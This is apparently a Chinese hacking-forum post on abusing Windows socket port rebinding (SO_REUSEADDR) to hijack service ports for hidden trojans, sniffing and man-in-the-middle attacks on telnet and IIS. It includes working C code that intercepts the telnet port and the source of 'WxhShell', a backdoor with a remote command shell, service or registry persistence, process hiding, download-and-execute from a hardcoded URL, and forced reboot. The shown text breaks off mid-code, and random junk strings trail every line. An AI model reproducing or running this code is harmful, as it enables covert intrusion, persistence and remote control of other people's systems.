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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4nX'a*'D~}  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Udb0&Y1^  
7lnM|nD  
  saddr.sin_family = AF_INET; o.v,n1Nm  
Q*TQ*J7".X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ]~4}(\u  
Dg?Ho2ih  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @U7U?.p  
(7 ]\p  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 {Tjtj@-  
*X"F:7  
  这意味着什么?意味着可以进行如下的攻击: ^MF=,U'8  
>?:i6&4o  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 oW\Q>c7 =  
r zc 3k~@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) % B7?l  
_.s\qQ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 72B zvY.  
+4p2KYO  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  b*$o[wO9  
.pNq-T  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 =}6Z{}(TT  
i&AXPq>`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 jb6ZAT<8  
06j)P6Iju  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 dqK  
@Reh?]# v  
  #include P^o"PKA  
  #include -v/?>  
  #include AmrJ_YP/t~  
  #include    |\{J` 5gr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   {/,+_E/  
  int main() \dQ2[Ek  
  { [{Klv&>_/  
  WORD wVersionRequested; b W`)CWd  
  DWORD ret; `s|\" @2  
  WSADATA wsaData; k -t,y|N  
  BOOL val; [jmAMF<F  
  SOCKADDR_IN saddr; +L<w."WG  
  SOCKADDR_IN scaddr; E!oJ0*@  
  int err; C$EFh4  
  SOCKET s; d<^6hF  
  SOCKET sc; 8?]%Q i   
  int caddsize; =-#iXP@  
  HANDLE mt; _s=Pk[e  
  DWORD tid;   ZS 7)(j$.  
  wVersionRequested = MAKEWORD( 2, 2 ); ))we\I__8  
  err = WSAStartup( wVersionRequested, &wsaData ); 5,I*F9[3  
  if ( err != 0 ) { u]+ +&~i  
  printf("error!WSAStartup failed!\n"); $;g%S0:3)  
  return -1; q0xE&[C[M  
  }  _j?=&tc  
  saddr.sin_family = AF_INET; tL 9e~>,`  
   )l/C_WEK  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 p-ii($~ }  
Y7IlqC`i  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 2oNPR+ -  
  saddr.sin_port = htons(23); .(.G`aKnF  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) gP"Mu#/D  
  { SJY"]7  
  printf("error!socket failed!\n"); T<_1|eH  
  return -1; e^ K=8IW  
  } FCw VVF0 y  
  val = TRUE; c_j )8  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 WLA_YMlA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) RdpQJ)3F  
  { K <fq=:I3  
  printf("error!setsockopt failed!\n"); ^9m^#"ZW`  
  return -1; 1QdB`8in  
  } .bl/At3A  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Wg3WE1V  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -$Z-hxs^  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 f+(w(~O  
R,k[Kh  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ~S<F  
  { e?'k[ES^  
  ret=GetLastError(); . LVOaxT  
  printf("error!bind failed!\n"); -2m Ogv  
  return -1; '$&(+>)z `  
  } P^W$qy|  
  listen(s,2); "q#kh,-C  
  while(1) SGT-B.  
  { bKbpI>;[  
  caddsize = sizeof(scaddr); Zm'::+ tl  
  //接受连接请求 wBaFC\CW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4~J1pcBno%  
  if(sc!=INVALID_SOCKET) 4pHPf<6  
  { QRc=-Wu_(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b J5z??  
  if(mt==NULL) FWx*&y~$  
  { )6S}O* 1  
  printf("Thread Creat Failed!\n"); {;rpgc  
  break; Xf/<.5A  
  } jjlCi<9CQ^  
  } ;`Ch2b1+  
  CloseHandle(mt); $/sZYsN~T  
  } |"(3]f\  
  closesocket(s); zAdVJ58H  
  WSACleanup(); J!gWRw5  
  return 0; -O q=J;  
  }   29E@e]Y,`  
  DWORD WINAPI ClientThread(LPVOID lpParam) t~=@r9`S  
  { IF21T  
  SOCKET ss = (SOCKET)lpParam; G6g=F+X2  
  SOCKET sc; 4Og GZ  
  unsigned char buf[4096]; in|7ucSlg  
  SOCKADDR_IN saddr; fP4IOlHkE  
  long num; a5g{.:NfO  
  DWORD val; $@!&ML  
  DWORD ret; ?^A:~"~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 dg@/HLZ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :a<TV9?H0  
  saddr.sin_family = AF_INET; %>}7 $Y%  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]m,p3  
  saddr.sin_port = htons(23); > ]N0w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) h]z|OhG  
  { {xx;zjt%}}  
  printf("error!socket failed!\n"); r}M4()9L  
  return -1; 9'r3L)[  
  } ;DWp>jgy  
  val = 100; PL2Q!i`[o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OX`GN#yl  
  { @G-k]IWi  
  ret = GetLastError(); xRZT  
  return -1; RJm8K,3#  
  } -2~ yc2:>A  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _ r)hr7  
  { ,,-3p#P bw  
  ret = GetLastError(); o sH,(\4_  
  return -1; @(5RAYRV  
  } 4'e8VI0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'F<e)D?  
  { m!>'}z  
  printf("error!socket connect failed!\n"); bWzc=03  
  closesocket(sc); X-^Oz@.>  
  closesocket(ss); 8o!^ZOmU<  
  return -1; y#W8] <dS"  
  } :fQ*'m,  
  while(1) aWK7 -n  
  { \crmNH)3  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \O4=mJ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 s,q!(\{Pv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 {oC69n:  
  num = recv(ss,buf,4096,0); K#yH\fn8  
  if(num>0) `SbX`a0p2  
  send(sc,buf,num,0); T$B4DQ  
  else if(num==0) Ss/="jC  
  break; mq} #{  
  num = recv(sc,buf,4096,0); yc}t(*A5  
  if(num>0) \0& (q%c  
  send(ss,buf,num,0); cLF>Jvs*J  
  else if(num==0) J(*"S!q)6  
  break; U} h |Zk  
  } q.tL'  
  closesocket(ss); r>eXw5Pr7  
  closesocket(sc); XfDQx!gJ  
  return 0 ; Bnc  
  } 89dC bF3b  
AH,F[ vS  
;]ew>P)  
========================================================== FCAu%lvZT  
4r!40^:2  
下边附上一个代码,,WXhSHELL FNO lR>0e  
Vp94mi#L }  
========================================================== 1T`"/*!  
=l_"M  
#include "stdafx.h" ~1!kU 4  
'hWRwP|  
#include <stdio.h> >b${rgCvQ  
#include <string.h> tq93 2M4  
#include <windows.h> >QPS0Vx[  
#include <winsock2.h> \'b- ;exH  
#include <winsvc.h> c9k,Dc  
#include <urlmon.h> B75SLK:h=  
 X;g|-<  
#pragma comment (lib, "Ws2_32.lib") v2g+o KO]  
#pragma comment (lib, "urlmon.lib") tr+~@]I+  
{1c eF  
#define MAX_USER   100 // 最大客户端连接数 (9%%^s]uPT  
#define BUF_SOCK   200 // sock buffer 0:S)2"I58p  
#define KEY_BUFF   255 // 输入 buffer j3F=P  
*mt v[  
#define REBOOT     0   // 重启 E':Z_ ^4  
#define SHUTDOWN   1   // 关机 zK;t041e  
351'l7F\  
#define DEF_PORT   5000 // 监听端口 Re>e|$.T  
}_TdXY #w\  
#define REG_LEN     16   // 注册表键长度 u' ][3  
#define SVC_LEN     80   // NT服务名长度 .;s4T?j@w  
ak&v/%N  
// 从dll定义API ShxX[k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 5eJd$}Lbc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); EeJ] > 1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); lvffQ_t  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); =Q/i< u  
exvsf|  
// wxhshell配置信息 BW[K/l~"$:  
struct WSCFG { K.Ir+SB  
  int ws_port;         // 监听端口 &Gl&m@-j  
  char ws_passstr[REG_LEN]; // 口令 _FgeE`X  
  int ws_autoins;       // 安装标记, 1=yes 0=no djM=QafB:C  
  char ws_regname[REG_LEN]; // 注册表键名 "yk%/:G+  
  char ws_svcname[REG_LEN]; // 服务名 |+''d  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 06 1=pV$CJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 QI<3N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F*H}5yBp_:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R~([  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C]cw@:o%  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 gd*?kXpt  
+UtK2<^:o  
}; egvWPht'_  
9IV WbJ  
// default Wxhshell configuration I'hQbLlG  
struct WSCFG wscfg={DEF_PORT, `$HO`d@0*R  
    "xuhuanlingzhe", %cL:*D4oz  
    1, TMBdneS-s  
    "Wxhshell", I&c#U+-A'  
    "Wxhshell", on$a]zx'@  
            "WxhShell Service", l|{<!7a  
    "Wrsky Windows CmdShell Service", v2Y=vr  
    "Please Input Your Password: ", ){~.jP=-#  
  1, 1g+<`1=KT  
  "http://www.wrsky.com/wxhshell.exe", V}?5=f'  
  "Wxhshell.exe" DEhA8.v  
    }; CXA8V"@&b/  
hpu(MX\  
// 消息定义模块 PHkvt!uH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "AVc^>  
char *msg_ws_prompt="\n\r? for help\n\r#>"; !T)>q%@ai  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3[4]G@  
char *msg_ws_ext="\n\rExit."; P8f-&(  
char *msg_ws_end="\n\rQuit."; mLSAi2Y  
char *msg_ws_boot="\n\rReboot..."; +l\Dp  
char *msg_ws_poff="\n\rShutdown..."; ZWH`s  
char *msg_ws_down="\n\rSave to "; Ns_d10rZ.  
mUxD.;P  
char *msg_ws_err="\n\rErr!"; HN+z7Q8hH  
char *msg_ws_ok="\n\rOK!"; U@WT;:.T  
i^(<E0vS  
char ExeFile[MAX_PATH]; OJaU,vQ#  
int nUser = 0; (XQG"G%U6W  
HANDLE handles[MAX_USER]; Qd&j~cG@  
int OsIsNt; so*7LM?ib>  
\9DTf:!4Z  
SERVICE_STATUS       serviceStatus; |rQ;|+.  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; "fdG5|NJe  
{H74`-C)W  
// 函数声明 J4 <*KL~a  
int Install(void); n >'}tT)U  
int Uninstall(void); ;N|6C+y  
int DownloadFile(char *sURL, SOCKET wsh); \=JKeL|6[S  
int Boot(int flag); ' BpRiN  
void HideProc(void); R0WJdW#  
int GetOsVer(void);  "d'@IN  
int Wxhshell(SOCKET wsl); >8Y >B)  
void TalkWithClient(void *cs); B4C`3@a  
int CmdShell(SOCKET sock); $Fj7'@1(  
int StartFromService(void); dj#<,e\  
int StartWxhshell(LPSTR lpCmdLine); o <y7Ut  
pH%K4bV)8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); |NqQKot1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); lz>hP  
ej~ /sO  
// 数据结构和表定义 #R$!|  
SERVICE_TABLE_ENTRY DispatchTable[] = `Cc<K8s8  
{ ;%}  
{wscfg.ws_svcname, NTServiceMain}, J{Jxb1:c  
{NULL, NULL} 4{TUoI6ii  
}; rlq8J/0/+  
#X+)  
// 自我安装 6m9Z5:xG  
int Install(void) B!Y;VdX  
{ g?ft;kR6S  
  char svExeFile[MAX_PATH]; uv$y"1'g  
  HKEY key; >}iYZ[ V  
  strcpy(svExeFile,ExeFile); 51A>eU|  
j<[<qU:  
// 如果是win9x系统,修改注册表设为自启动 uAP|ASH9T  
if(!OsIsNt) { F9hCT)  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [ 6M8a8C  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L(L;z'3y  
  RegCloseKey(key); Z`D#L[z$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { PQ j_j#0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2neiUNT  
  RegCloseKey(key); xGqZ8v`v  
  return 0; Lt)t}0  
    } +Fk.B@KT,  
  } P)3e^~+A  
} 8p5u1 ;2  
else { <B)lV'!Bd  
QS[%`-dR2  
// 如果是NT以上系统,安装为系统服务 *N't ;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a}yJ$6xi  
if (schSCManager!=0) 3KGDS9I  
{ _+GCd8d  
  SC_HANDLE schService = CreateService d(tq;2-  
  ( W];4P=/  
  schSCManager, VGSe<6Hh  
  wscfg.ws_svcname, G2mv6xK'  
  wscfg.ws_svcdisp, a 3H S!/  
  SERVICE_ALL_ACCESS, "|hmiMdGB  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2`; 0y M  
  SERVICE_AUTO_START, Y!KGJ^.mF  
  SERVICE_ERROR_NORMAL, 1\1o65en  
  svExeFile, mesR)fTI  
  NULL, 2a{eJ89f  
  NULL, >q`G?9d2  
  NULL, f@ySTz;u  
  NULL, RtSk;U1  
  NULL :Z<-J`  
  ); jYU#] |k~  
  if (schService!=0) VB Ce=<  
  { _vad>-=D*U  
  CloseServiceHandle(schService); A2xORG&FD  
  CloseServiceHandle(schSCManager); !=a8^CV  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Es?~Dd  
  strcat(svExeFile,wscfg.ws_svcname); $]O\Ryf6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @r#>-p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &.d~ M1Mz  
  RegCloseKey(key); )ZT&V I  
  return 0; JV@>dK8  
    } N-suBRnW  
  } q*2ljcb55  
  CloseServiceHandle(schSCManager); qh=lF_%uj  
} )J 0'We  
} IuPwFf)  
ztf(.~  
return 1; es.`:^A  
} I` /'\cU9  
~(}zp<e|  
// 自我卸载 {1FY HM^  
int Uninstall(void) vHWw*gg(/E  
{ xD1w#FMlQs  
  HKEY key; bY#>   
|[gnWNdR$M  
if(!OsIsNt) { ^Xh9:OBF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hd\iW7  
  RegDeleteValue(key,wscfg.ws_regname); t&ngOF  
  RegCloseKey(key); E_FseR6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TN&1C8xr  
  RegDeleteValue(key,wscfg.ws_regname); mI}'8 .  
  RegCloseKey(key); @L`t/OD  
  return 0; .Emw;+>  
  } GeE|&popO  
} k*M1m'1  
} oSxHTbp?  
else { o#G7gzw)  
.x}ImI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 9^`G `D  
if (schSCManager!=0) D>05F,a  
{ P\SE_*&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1h|JKu0  
  if (schService!=0) ns@b0'IF]  
  { "",V\m  
  if(DeleteService(schService)!=0) { -8g ;t3z  
  CloseServiceHandle(schService); q W) ,)i  
  CloseServiceHandle(schSCManager); *2@Ne[dYEF  
  return 0; 2uz<n}IV  
  } yt$V<8a  
  CloseServiceHandle(schService); UA}k"uM  
  } d!!5'/tmS  
  CloseServiceHandle(schSCManager); 2U i)'0  
} {4UlJ,Z.n  
} x2;92I{5C,  
RoP z?,u  
return 1; 6Vi #O^>  
} iugTXZ(  
zf#V89!]C"  
// 从指定url下载文件 j&ddpS(s  
int DownloadFile(char *sURL, SOCKET wsh) 4u A ;--j  
{ g {wDI7"<q  
  HRESULT hr; JeuW/:Wv  
char seps[]= "/"; &`{%0r[UD#  
char *token; 87y$=eZ  
char *file; LDO@$jg  
char myURL[MAX_PATH]; s>^*GQw  
char myFILE[MAX_PATH]; (Zx;GS  
zkB_$=sbn#  
strcpy(myURL,sURL); SxNs  
  token=strtok(myURL,seps); ^qGH77#z  
  while(token!=NULL) #|)GarDG  
  { VMsAT3^w  
    file=token; J=5G<  
  token=strtok(NULL,seps); (',G Ako  
  } ;DBO  
{}[S,L  
GetCurrentDirectory(MAX_PATH,myFILE); .F &\xa{  
strcat(myFILE, "\\"); H"6:!;9,  
strcat(myFILE, file); p\~ lPXK  
  send(wsh,myFILE,strlen(myFILE),0); \%f4)Qb  
send(wsh,"...",3,0); 27}k63\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S-g`rTx  
  if(hr==S_OK) uG~%/7Qt{  
return 0; 'Q?nU^:F#  
else IKH#[jW'IB  
return 1; 5Tkh6s  
=]E;wWC  
} j?#S M!f  
e$fxC-sZ  
// 系统电源模块 c(i-~_  
int Boot(int flag) f?[IwA`  
{ b2 duC  
  HANDLE hToken; eLM_?9AZ!R  
  TOKEN_PRIVILEGES tkp; 0(h *< g:  
E XEae ?  
  if(OsIsNt) { Xb5n;=)  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h{VCx#!]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mS6L6)] S  
    tkp.PrivilegeCount = 1; OANn!nZ.  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P.=&:ay7?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); R@u6mMX{N,  
if(flag==REBOOT) { \ @3i=!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +kmPQdO;*/  
  return 0; x/R|i%u-s  
} JstX# z  
else { 6uOR0L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))  0'%R@|  
  return 0; [_#9PH33  
} O\-cLI<h2  
  } 48Z{wV,  
  else { kb Odg:  
if(flag==REBOOT) { LEKN%2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8!'#B^  
  return 0; ;a*i*{\Rm  
} T1LtO O  
else { @I_A\ U{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) J#!:Z8b  
  return 0; eOE7A'X   
} P BpjE}[Q  
} `[2nxP>w`  
H'P1EZtq  
return 1; z<hy#BIjnd  
} [}N?'foLb  
]+{Cy\*kR  
// win9x进程隐藏模块 bo4 :|Z  
void HideProc(void) W -8<sv$b  
{ O sbY}*S  
25NZIal<  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); fr4#< 6,  
  if ( hKernel != NULL ) Yy@;U]R  
  { a{mtG{Wc  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VX2 KE@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1.4]T, `  
    FreeLibrary(hKernel); b,cA mZ  
  } 'RC(ss1G  
=;9Wh!{  
return; Y7zg  
} s0~a5Ti3  
r=~yUT  
// 获取操作系统版本 x;?4AJ{  
int GetOsVer(void) D\jRF-z  
{ .R#p<"$I  
  OSVERSIONINFO winfo; j *Ta?'*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (dLt$<F  
  GetVersionEx(&winfo); f nX!wN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Kzb&aOw  
  return 1; J$%mG*Y(  
  else yNoJrA  
  return 0; +^iUY%pm  
} By]XD~gcP  
&jT>)MXPu  
// 客户端句柄模块 U@@#f;&  
int Wxhshell(SOCKET wsl) Nq/,41  
{ FVPhk2  
  SOCKET wsh; 7<<pP  
  struct sockaddr_in client; ;O}%_ef@  
  DWORD myID; bjmUU6VLT  
Ia=wf"JS)  
  while(nUser<MAX_USER) V<$g^Vb  
{ ;e_dk4_  
  int nSize=sizeof(client); Ou"QUn|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f<= #WV  
  if(wsh==INVALID_SOCKET) return 1; ; =ai]AYW  
nU-.a5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); H [wJ; l  
if(handles[nUser]==0) Qx1ZxJz #  
  closesocket(wsh); cpF\^[D  
else '>^+_|2  
  nUser++;  ?}e8g  
  } ^/47 *vcN5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ek~Qp9B  
2asA]sY  
  return 0; Ok/~E  
} 3ZGU?Z;R  
dQVV0)z  
// 关闭 socket <*3{Twa1T  
void CloseIt(SOCKET wsh) ;nyV)+t+a  
{ 2 :u4~E3  
closesocket(wsh); 22"M#:r$  
nUser--; f ?_YdVZ  
ExitThread(0); ^o+2:G5z}  
} bHH{bv~Z  
*6s B$E_y  
// 客户端请求句柄 " ;_bB"q*  
void TalkWithClient(void *cs) !@{_Qt1  
{ ^>gRK*,  
s3HwBA  
  SOCKET wsh=(SOCKET)cs; ^3B{|cqf  
  char pwd[SVC_LEN]; &PI}o  
  char cmd[KEY_BUFF]; &?IOrHSv!  
char chr[1]; .+t{o [  
int i,j; ^W5rL@h_  
bo '  
  while (nUser < MAX_USER) { 4(o: #9I  
z9}rT<hy  
if(wscfg.ws_passstr) { LzB)o\a  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]:(>r&'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ywXerz7dUk  
  //ZeroMemory(pwd,KEY_BUFF); f50qA;7k  
      i=0; O&.^67\|  
  while(i<SVC_LEN) { oUIa/}}w5  
<mjH#aSy  
  // 设置超时 gQ3Co./  
  fd_set FdRead; )tl=tH/$  
  struct timeval TimeOut; */sVuD^b`  
  FD_ZERO(&FdRead); Z#BwJHh  
  FD_SET(wsh,&FdRead); H=?v$! i  
  TimeOut.tv_sec=8; 0 60<wjX6  
  TimeOut.tv_usec=0; }0 0mJ]H(  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7Te`#"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C(Ujx=G+3  
"(PJh\S>S  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3Q*K+(`{  
  pwd=chr[0]; \Si@t{`O  
  if(chr[0]==0xd || chr[0]==0xa) { 9:4PJ%R9  
  pwd=0; `e .;P  
  break; {(]B{n  
  } s Z(LT'}  
  i++; oe_l:Y%  
    } h@=H7oV7k  
1dh_"/  
  // 如果是非法用户,关闭 socket d|k6#f-E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BoYWx^VHx^  
} Q%KH^<  
rV d(H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); W-<E p<7{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G,9osTt/  
4SCb9| /Q  
while(1) { yS p]+  
.",E}3zn  
  ZeroMemory(cmd,KEY_BUFF); an={h,  
1v!Xx+}  
      // 自动支持客户端 telnet标准   }WS%nQA  
  j=0; )` -b\8uw  
  while(j<KEY_BUFF) { ^Crl~~Gk`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,uqSq  
  cmd[j]=chr[0]; u6IEBYG ((  
  if(chr[0]==0xa || chr[0]==0xd) { \!j{&cJ  
  cmd[j]=0; S9d+#6rn  
  break; gm~Ka%O|F  
  } A1e|Y  
  j++; (`x6QiG!  
    } ZfM(%rx  
ZGK*]o =)  
  // 下载文件 v/=O:SM}  
  if(strstr(cmd,"http://")) { jCqs^`-  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _;3xG0+  
  if(DownloadFile(cmd,wsh)) "]>JtK  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Xo'U;J  
  else g#ubxC7t<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U4qp?g+:  
  } Z2~;u[0a[  
  else { ,pE{N&p9  
Zm& X $U  
    switch(cmd[0]) { <\eHK[_*  
  ,u7: l  
  // 帮助 !q=ej^(S  
  case '?': { |0:< Z(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jjL(=n<J<"  
    break; +Rn]6}5m\  
  } |K| c  
  // 安装 s <Pk[7`*  
  case 'i': { ]n1@!qa48  
    if(Install()) .9{Sr[P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ag^EH"%zw  
    else r7o63]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G/>upnA{w  
    break; 5VdF^.:u  
    } :\9E%/aAD  
  // 卸载 hd1(q33  
  case 'r': { iI ji[>qz  
    if(Uninstall()) Tn,'*D@l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XBe!9/'k>  
    else W}#eQ|oCV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1.U5gW/3L  
    break; $Q*h+)g<  
    } K.4t*-<`[  
  // 显示 wxhshell 所在路径 JYA$_T  
  case 'p': { RhIRCN9  
    char svExeFile[MAX_PATH]; ?ORG<11a  
    strcpy(svExeFile,"\n\r"); dPgN*Bdv  
      strcat(svExeFile,ExeFile); Jj4!O3\I  
        send(wsh,svExeFile,strlen(svExeFile),0); +#7 e?B  
    break; W- 5Z"m1I  
    } pE<dK.v6  
  // 重启 pe$" nUy|  
  case 'b': { \)'s6>58|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ts/ rV#s~  
    if(Boot(REBOOT)) F B-?{78~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V`qHNM/t  
    else { iV;X``S  
    closesocket(wsh); u^T)4~(  
    ExitThread(0); &QFg=  
    } bzD <6Z  
    break; SVWtKc<  
    } 4%>iIPXi.(  
  // 关机 d6,SZ*AE  
  case 'd': { SE/GT:}  
